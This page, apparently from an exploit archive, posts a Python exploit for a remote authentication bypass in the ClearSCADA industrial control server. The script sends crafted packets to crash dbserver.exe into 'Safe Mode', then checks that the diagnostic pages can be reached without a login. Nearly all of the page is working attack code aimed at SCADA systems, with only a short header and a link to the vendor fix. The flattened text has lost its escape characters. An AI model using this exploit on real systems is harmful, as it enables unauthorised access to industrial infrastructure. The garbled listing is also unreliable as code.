Home / os / wins2003

ClearSCADA Remote Authentication Bypass

Posted on 30 January 2015

#!/usr/bin/python # cs-auby.py # ClearSCADA Remote Authentication Bypass Exploit # # Jeremy Brown # [jbrown3264/gmail] # # Oct 2010 (released Jan 2015) # # There is an authentication bypass vulnerability in ClearSCADA that can be # exploited by triggering an exception in dbserver.exe and taking advantage # of the way the program handles it. # # When an exception in occurs, ClearSCADA enters "Safe Mode". This exposes # it's diagnostic functions to remote users without requiring a valid login # as it would normally. A remote attacker could view senstive information # and possibly modify functions of the server running on the affected host. # # This code triggers an exception in dbserver.exe and checks to see if you # can then access the diagnostic page without authentication. # # Tested on ClearSCADA 2010R1 running on Windows # # Fix information: http://ics-cert.us-cert.gov/advisories/ICSA-11-173-01 # import sys import socket import httplib import urllib from time import sleep pkt_1=( "xfbx0ex45x06x0ex00x00x00x18x00x00x00" "x49x00x50x00x20x00x31x00x32x00x37x00x2ex00x30x00" "x2ex00x30x00x2ex00x31x00x2cx00x20x00x53x00x65x00" "x73x00x73x00x69x00x6fx00x6ex00x20x00x30x00x00x00" "x08x00x00x00" ) pkt_2=( "x00x00x00x00" "x26x00x00x00" "x08x00x00x00x0fx00x00x00x43x00x72x00x79x00x73x00" "x74x00x61x00x6cx00x52x00x65x00x70x00x6fx00x72x00" "x74x00x73x00x00x00" ) pkt_3=( # "Exception Occured" "x00x00x00x00xd7x01x00x00x34x00x00x00x0dx00x00x00" "x09x00x00x00x43x00x50x00x72x00x6fx00x66x00x69x00" "x6cx00x65x00x00x00x0ex00x00x00x43x00x50x00x72x00" "x6fx00x66x00x69x00x6cx00x65x00x46x00x6cx00x6fx00" "x61x00x74x00x00x00x0ex00x00x00x43x00x50x00x72x00" "x6fx00x66x00x69x00x6cx00x65x00x55x00x4cx00x6fx00" "x6ex00x67x00x00x00x0dx00x00x00x43x00x50x00x72x00" "x6fx00x66x00x69x00x6cx00x65x00x4cx00x6fx00x6ex00" "x67x00x00x00x10x00x00x00x43x00x41x00x64x00xBBx00" # last w0rd "x00x42x00x49x00x54x00x56x00x61x00x6cx00x75x00x65" "x00x4dx00x61x00x70x00x00x00x11x00x00x00x43x00x41" "x00x64x00x76x00x42x00x59x00x54x00x45x00x56x00x61" "x00x6cx00x75x00x65x00x4dx00x61x00x70x00x00x00x11" "x00x00x00x43x00x41x00x64x00x76x00x57x00x4fx00x52" "x00x44x00x56x00x61x00x6cx00x75x00x65x00x4dx00x61" "x00x70x00x00x00x11x00x00x00x43x00x41x00x64x00x76" "x00x44x00x49x00x4ex00x54x00x56x00x61x00x6cx00x75" "x00x65x00x4dx00x61x00x70x00x00x00x12x00x00x00x43" "x00x41x00x64x00x76x00x55x00x44x00x49x00x4ex00x54" "x00x56x00x61x00x6cx00x75x00x65x00x4dx00x61x00x70" "x00x00x00x11x00x00x00x43x00x41x00x64x00x76x00x52" "x00x45x00x41x00x4cx00x56x00x61x00x6cx00x75x00x65" "x00x4dx00x61x00x70x00x00x00x13x00x00x00x43x00x41" "x00x64x00x76x00x44x00x4fx00x55x00x42x00x4cx00x45" "x00x56x00x61x00x6cx00x75x00x65x00x4dx00x61x00x70" "x00x00x00x13x00x00x00x43x00x41x00x64x00x76x00x53" "x00x74x00x72x00x69x00x6ex00x67x00x56x00x61x00x6c" "x00x75x00x65x00x4dx00x61x00x70x00x00x00x0fx00x00" "x00x43x00x43x00x72x00x79x00x73x00x74x00x61x00x6c" "x00x52x00x65x00x70x00x6fx00x72x00x74x00x00x00x00" ) port=5481 s_port=443 def do_ssl(target,port): try: conn = httplib.HTTPSConnection(target,port) conn._http_vsn = 10 conn._http_vsn_str = "HTTP/1.0" conn.request("GET","/diag/Info") resp = conn.getresponse() conn.close() except Exception, error: print("Error: %s" % error) return None return resp def main(): if len(sys.argv)!=2: print("Usage: %s <target>" % sys.argv[0]) sys.exit(0) target=sys.argv[1] cs=target,port print "Checking server status..." resp = do_ssl(target,s_port) if(resp == None): return if(resp.status==301): print "Server status is normal. " elif(resp.status==200): print "Server is already in safe mode." sys.exit(1) elif((resp.status!=301)|(resp.status!=200)): print("Server returned %d %s, server state unknown. Continuing anyways.. " % (resp.status,resp.reason)) print("Sending packets to trigger exception... ") try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(cs) sock.send(pkt_1) resp_1 = sock.recv(32) sock.send(pkt_2) resp_2 = sock.recv(32) sock.send(pkt_3) resp_3 = sock.recv(32) sock.close() except Exception, error: print("Error: %s" % error) return None print("Finished, checking server status again...") sleep(1) resp = do_ssl(target,s_port) if(resp == None): return if(resp.status==301): print("Server status is still normal, maybe it's patched.. ") elif(resp.status==200): print("Server entered "safe" mode :) ") print("Surf on over to https://%s:443/diag/Info to explore" % target) elif((resp.status!=301)|(resp.status!=200)): print("Server returned %d %s, server state unknown." % (resp.status,resp.reason)) if __name__ == "__main__": main()

 

TOP